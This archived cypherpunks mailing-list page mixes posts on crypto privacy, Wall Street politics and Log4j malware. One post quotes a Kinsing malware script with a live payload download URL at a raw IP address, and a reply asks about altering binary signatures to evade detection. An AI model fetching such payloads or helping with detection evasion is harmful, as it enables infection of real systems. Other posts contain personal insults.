December 2021 - cypherpunks - lists.cpunks.org

[spam][crazy] bomb malware
by Karl 14 Dec '21

14 Dec '21

I found some log4j malware! Somebody sent it to an old disrupted hacker list. Log4J Malware/ Log4J Malware/Mirai/ Log4J Malware/Mirai/3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26.sh Log4J Malware/Mirai/776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00 Log4J Malware/Muhstik/ Log4J Malware/Muhstik/15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b Log4J Malware/Kinsing/ Log4J Malware/Kinsing/7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512.sh Log4J Malware/Kinsing/6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b.elf What is this stuff???? 0507 ET, 20% phone battery $ less Kinsing/7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512.sh OK, somebody's AI has never heard of for loops because this shell script is ridiculous. The code looks generated and is irritating to review. Looks like it terminates a lot of processes and wipes a lot of logs. oop: BIN_MD5="648effa354b3cbaad87b45f48d59c616" BIN_DOWNLOAD_URL="http://92.242.40.21/kinsing" BIN_DOWNLOAD_URL2="http://92.242.40.21/kinsing" BIN_NAME="kinsing" I tried downloading it quick but no reply, so if nobody else tee'd them off I probably just did. maybe later in the file it shows how to knock. maybe the associated .elf is the file. who knows! 0512 19% battery

1 16

KGB Russia calls for more education on Climategate
by professor rat 14 Dec '21

14 Dec '21

Straight out the Pooter KGB Russia calls for more education on Climategate https://www.google.com/search?q=climategate+assange&client=opera&hs=69S&sou…

1 0

What ever happened to that ' cypherpunks write code " guy?
by professor rat 14 Dec '21

14 Dec '21

Eric Hughes came up with that in the late 90's as part of his cypherpunks manifesto. Then came 9-11 in 2001. Eric Hughes ran away shrieking like Edward Lord Snowden ( Chickenman ) If you read all of Mongo's posts since that embarrassment then he's emphasized the widest possible reading of ' code '. Which only makes sense since the list was established to explore the possible ramifications of digital crypto on political economy - that is society. It was not designed to be a list for technical minded nerds to comb over specialized computer code. That particular niche was formally recognized with the establishment of ' Coderpunks ' Any alleged c-punk that doesn't know all this by now is not OG, hasn't done their homework and prefers ignorance to knowledge. ( Ohai Sampo ) They might then even compound that fatal error with a display of willful ignorance about list spam filtering in their email client. To stupid to be an activist let alone any kind of anarchist. Fuck off moron, Syreni. https://www.youtube.com/watch?v=Pg2np37JNEg

1 0

Cypherpunks Vs Marxism. There can be only one.
by professor rat 13 Dec '21

13 Dec '21

1840-s Marx - Gertrude Himmelfarb argued that it cannot be denied that in his essay On the Jewish Question, Marx expressed views that “were part of the classic repertoire of anti-Semitism.” Paul Johnson has argued that “The second part of Marx’s essay is almost a classic anti-Semitic tract, based upon a fantasied Jewish archetype and a conspiracy to corrupt the world.” 1850's Marx - https://www.reddit.com/r/CapitalismVSocialism/comments/7dwc4n/the_russian_l… 1860's - Marx. Capital, Volume One, Part II: The Transformation of Money and Capital CHAPTER FOUR: THE GENERAL FORMULA FOR CAPITAL: "The capitalist knows that all commodities, however scurvy they may look, or however badly they may smell, are in faith and in truth money, inwardly circumcised Jews . . "

2 1

The Senate Banking Committee Has Subpoena Power; So Why Has Senator Elizabeth Warren Been Left to Investigate on Her Own?
by Gunnar Larson 13 Dec '21

13 Dec '21

Yes, the rumors are true. A new, fresh and clean international bank out of New York is prime, world's best. The Bank of London vs. The Bank of London and the Middle East is nuts. You have to ask yourself, what are the other options? Suffering through crazy Goldman Sachs? Totally unnecessary and not our problem, really. Gunnar ------ For years now, *Wall Street On Parade* has been reporting on the probing letters that Senator Elizabeth Warren (D-MA) has sent to Wall Street firms and their regulators in an effort to ferret out the details of systemic corruption and the looting of the American people. (See “Related Articles” below.) Throughout this letter writing campaign, Senator Elizabeth Warren has been a member of the powerful Senate Banking Committee – which has subpoena power. The new Chair of that Committee, Senator Sherrod Brown (D-OH), is also a progressive, like Warren. So why isn’t the Senate Banking Committee using its subpoena power instead of leaving Warren with nothing more than an inquiring mind and a pile of Word documents? According to the Congressional Research Service, the Senate Banking Committee has adopted a rule that requires a majority vote <https://sgp.fas.org/crs/misc/R44247.pdf> to issue a subpoena for documents or witnesses. And since it has too many members on the Committee who take campaign funds from Wall Street and/or their law firms, we’ve yet to see that subpoena power in action. Today is the deadline that Senator Warren gave to Fed Chair Jerome Powell to respond to her letter of last Tuesday <https://wallstreetonparade.com/wp-content/uploads/2021/12/Senator-Elizabeth…>, in which she demanded “Full disclosure of all stock, bond, and other investment trades by Fed governors and presidents from January 1, 2020 to the present,” along with other related material. Warren’s inquiry stems from the fact that the President of the Dallas Fed, Robert Kaplan, and the President of the Boston Fed, Eric Rosengren, had to step down in September over scandalous trading activity in 2020. Trading questions have been raised about other Fed officials as well, including Powell <https://prospect.org/economy/powell-sold-more-than-million-dollars-of-stock…> . The Fed has stonewalled the media for months now on making full disclosures of the details of these trades. For example, it appears from our reporting that Goldman Sachs was involved in at least some of Kaplan’s trades and Citigroup was financing at least some of Rosengren’s trades. Both Wall Street mega banks are supervised by the Fed and it is unseemly for Fed officials to be engaging in active trading with banks its variously supervises and bails out. (See New Documents Show the Fed’s Trading Scandal Includes Two of the Wall Street Banks It Supervises: Goldman Sachs and Citigroup <https://wallstreetonparade.com/2021/10/new-documents-show-the-feds-trading-…> .) Warren’s letter of last Tuesday to Powell also makes clear that the Fed has been stonewalling her since her staff made a written request for information on October 22, “despite numerous follow-ups over the last six weeks.” Clearly, both the Fed and the Wall Street mega banks believe they have nothing to fear from the Senate Banking Committee being able to muster the votes to use its subpoena power. Powell’s answer to all of this has been to refer the matter to the Fed’s Inspector General – who reports to the Board of the Fed – rather than making a referral to the Justice Department or the Securities and Exchange Commission (SEC). On October 4, Warren sent a letter <https://wallstreetonparade.com/wp-content/uploads/2021/10/Senator-Elizabeth…> to Gary Gensler, Chair of the SEC, asking that the “SEC investigate trading in securities by high-level Federal Reserve officials and determine if any of these ethically questionable transactions may have violated insider trading rules.” To date, the SEC has failed to indicate if it is investigating the matter, which goes to the heart of the integrity of the central bank of the United States. Senator Pat Toomey (R-PA) may well be one of the obstacles to the Senate Banking Committee being able to effectively use its subpoena power. Toomey sits as the Ranking Member of the Committee. According to the Center for Responsive Politics, over the course of his political career, Toomey’s largest donor to either his Campaign Committee and/or Leadership PAC has been the Club for Growth, which has provided more than $1.26 million to Toomey’s political campaigns. <https://www.opensecrets.org/members-of-congress/summary?cycle=Career&type=I…> In the same time span, Toomey’s second and third largest donors are the hedge fund, Elliott Management, and Goldman Sachs, the mega Wall Street firm where Dallas Fed President Robert Kaplan worked for 22 years. The Club for Growth is a dark money group that has pushed for the privatization of Social Security; the destruction of workers’ rights and unions <https://www.thenation.com/article/archive/governor-scott-walker-puppet-2/>; and the deregulation of dangerous industries. Toomey served as the President of Club for Growth from 2005 to 2009. Another group that has advanced Toomey’s political career is Freedom Partners Action Fund. It funneled at least $4.3 million into running attack ads against Toomey’s Democratic challenger, Katie McGinty, in the 2016 senate race in Pennsylvania. Charles Koch, the billionaire Chairman and CEO of the fossils fuels conglomerate, Koch Industries, and his trust, gave $14 million to the Freedom Partners Action Fund Super Pac from 2014 through July 2018 according to the Center for Responsive Politics. Freedom Partners played an outsized role in staffing up the Trump administration. (See How Did Koch Industries’ Law Firm Grab Control at the White House? <https://wallstreetonparade.com/2018/07/how-did-koch-industries-law-firm-gra…> ) Charles Koch has more than just a passing interest in the regulation and oversight of trading on Wall Street. That’s because Koch Industries owns a sprawling trading conglomerate in addition to its fossil fuels interests. (See The Kochtopus Is Betting Billions in the Stock Market: Is There a Case for Systemic Risk? <https://wallstreetonparade.com/2021/03/the-kochtopus-is-betting-billions-in…> ) Koch Industries also owns i360, an unprecedented invasion by a corporate conglomerate into political campaign activities that rivals the Republican Party’s database and operations. (See The Dangerous and Invisible Hand in the 2020 Election: Charles Koch’s i360.) <https://wallstreetonparade.com/2020/11/the-dangerous-and-invisible-hand-in-…> Until the American people raise their voices loud enough to achieve meaningful campaign finance reform, Senator Warren – and so many others – are left with few options. -- *Gunnar Larson - xNY.io <http://www.xNY.io> | Bank.org <http://Bank.org>* MSc <https://www.unic.ac.cy/blockchain/msc-digital-currency/?utm_source=Google&u…> - Digital Currency MBA <https://www.unic.ac.cy/business-administration-entrepreneurship-and-innovat…> - Entrepreneurship and Innovation (ip) G(a)xNY.io +1-646-454-9107 New York, New York 10001

1 0

Re: Log4j
by Karl 13 Dec '21

13 Dec '21

source code appears to be a different project decompile malware before using for pentests unless you're a profesisonal On 12/13/21, zeynepaydogan <zeynepaydogan(a)protonmail.com> wrote: > https://twitter.com/bountyoverflow/status/1470060508447272960?s=21 > > Sent from ProtonMail for iOS > > Açık Pzt, Ara 13, 2021 14:18, Karl <gmkarl(a)gmail.com> yazdı: > >> I'm interested in buying it, is the source code included so i can >> properly mutate the binary signatures to prevent detection?

2 3

Justice
by Gunnar Larson 13 Dec '21

13 Dec '21

Elliot Sptizter, Andrew Cuomo and Anthony Weiner walk into a bar looking for justice.

2 1

Log4j
by zeynepaydogan 13 Dec '21

13 Dec '21

Password: infected

2 6

Fwd: cypherpunks Digest, Vol 102, Issue 78
by Gunnar Larson 13 Dec '21

13 Dec '21

Mr. Weber: How are you? Hope grand. What in the world to do about point three. Came to you about this earlier. The dog does not need the drama. Let me know what you think. Thank you, Gunnar ---------- Forwarded message --------- From: <cypherpunks-request(a)lists.cpunks.org> Date: Mon, Dec 13, 2021, 4:45 AM Subject: cypherpunks Digest, Vol 102, Issue 78 To: <cypherpunks(a)lists.cpunks.org> Send cypherpunks mailing list submissions to cypherpunks(a)lists.cpunks.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.cpunks.org/mailman/listinfo/cypherpunks or, via email, send a message with subject or body 'help' to cypherpunks-request(a)lists.cpunks.org You can reach the person managing the list at cypherpunks-owner(a)lists.cpunks.org When replying, please edit your Subject line so it is more specific than "Re: Contents of cypherpunks digest..." Today's Topics: 1. Re: GovCorp conspiracy theory fails again (Karl) 2. Tragedy of the commons (professor rat) 3. Re: Haiing (Karl) 4. Re: Bitcoin Magazine: Bitcoin Security: Trustless Private Messaging With Public And Private Key Cryptography (grarpamp) 5. Re: Log4j (zeynepaydogan) 6. Julian ASSMANGE - such a sweet little 5-VEY Bitch (professor rat) 7. Re: Coronavirus: Thread (grarpamp) 8. Re: Log4j (Karl) ---------------------------------------------------------------------- Message: 1 Date: Mon, 13 Dec 2021 04:11:51 -0500 From: Karl <gmkarl(a)gmail.com> Cc: cypherpunks <cypherpunks(a)lists.cpunks.org> Subject: Re: GovCorp conspiracy theory fails again Message-ID: <CALL-=e5TQiW_s_UNSKtcVfv=8QF53aUxkPAOyt=bmBEbFQy3=w(a)mail.gmail.com> Content-Type: text/plain; charset="utf-8" On Mon, Dec 13, 2021, 1:36 AM Punk-BatSoup-Stasi 2.0 <punks(a)tfwno.gf> wrote: > On Sun, 12 Dec 2021 21:32:11 -0800 > cherry <cherry(a)cpal.pw> wrote: > > > > > > Taproot should lead to a massive improvement in the privacy of the > > lightning network. > > > bullshit > I'm not familiar with taproot in-depth but I also don't see it as significantly related to privacy. There's enough research out there to make bitcoin networks very, very anonymous, in ways that are normalised and maintainable and simplify the codebase. Software was different before 2014, and that shows in the design of lightning. The bitcoin devs got split into factions etc. It's recorded history. There's been a lot of excitement over the lightning network in some groups of people. Who uses it? What is it used for, in the wild? Anyway, it's cool to see that bitcoin's dev process has found ways to continue innovating and it seems to be building on that more and more. >

1 0

Cryptocurrency: Taproot Isn't Privacy For Average Users [Not A Conspiracy Theory]
by grarpamp 13 Dec '21

13 Dec '21

> Taproot should lead to a massive improvement in the privacy of the > lightning network. Stop shilling nonsense. Taproot today doesn't do shit for privacy of average users, but BTC is today shilling that falsehood as hard as Monero claims to be king and sole way of doing any modicum of privacy. And lightning is riddled with flaws. Liquid is supposedly better, dyor. If BTC users want privacy, they need to look at joinmarket, and to import things like cashfusion, look at wasabi/samourai, and a bunch of other methods. And to get off their ass and build cross-layer-0 DEX and anonymous p2p exchanges. Bitcoin "core / foundation" or whatever else they call their sold out selves haven't and thus are not going to be doing that, thus you have to. > flaws in the > existing lightning network were the result of enemy action. youtube: lightning network flaws If they haven't censored that yet.

1 0